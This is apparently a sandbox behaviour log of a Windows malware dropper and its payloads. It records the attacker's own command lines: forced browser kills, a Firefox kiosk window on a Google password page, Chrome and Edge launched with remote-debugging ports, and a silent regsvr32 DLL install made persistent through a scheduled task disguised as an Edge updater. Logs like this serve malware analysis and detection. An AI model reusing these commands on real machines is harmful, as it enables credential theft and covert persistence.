Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.EXE /S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2340,i,7830425729615441545,7862388668544970910,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecd0d195-4882-47a0-95d6-137f9970256d} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1383966eb10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe "C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe"
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 3224 -prefMapHandle 4248 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3832cf86-050e-44c6-b11c-9d495ad99968} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1385192cd10 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2472,i,6358272514420708437,16654773144454916869,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2196,i,18403555696395421460,7447079229729429509,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe "C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe "C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe "C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe "C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe "C:\Users\user\AppData\Local\Temp\1007824001\46bc483599.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process created: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp "C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp" /SL5="$80070,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-IMT14.tmp\SillyShelf.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C timeout /T 3 & "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe "C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe	Process created: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp "C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp" /SL5="$2044A,1389145,140800,C:\Users\user\AppData\Local\Temp\1007820001\SillyShelf.exe" /VERYSILENT /SUPPRESSMSGBOXES
Source: C:\Users\user\AppData\Local\Temp\is-1H0JR.tmp\SillyShelf.tmp	Process created: C:\Windows\SysWOW64\regsvr32.exe "regsvr32.exe" /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe /s /i:INSTALL "C:\Users\user\AppData\Roaming\\PoisedCoyote.dll"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{295868A1-856A-4FAB-F42C-F90738AE0C77}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"
Source: C:\Users\user\AppData\Local\Temp\1007821001\41266a11cd.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1007822001\813d0f4405.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2180 -parentBuildID 20230927232528 -prefsHandle 2072 -prefMapHandle 2064 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecd0d195-4882-47a0-95d6-137f9970256d} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1383966eb10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4052 -parentBuildID 20230927232528 -prefsHandle 3224 -prefMapHandle 4248 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {3832cf86-050e-44c6-b11c-9d495ad99968} 6168 "\\.\pipe\gecko-crash-server-pipe.6168" 1385192cd10 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2340,i,7830425729615441545,7862388668544970910,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2516 --field-trial-handle=2472,i,6358272514420708437,16654773144454916869,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1007823001\1d003e9e16.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2196,i,18403555696395421460,7447079229729429509,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe	Section loaded: winrnr.dll	Jump to behavior
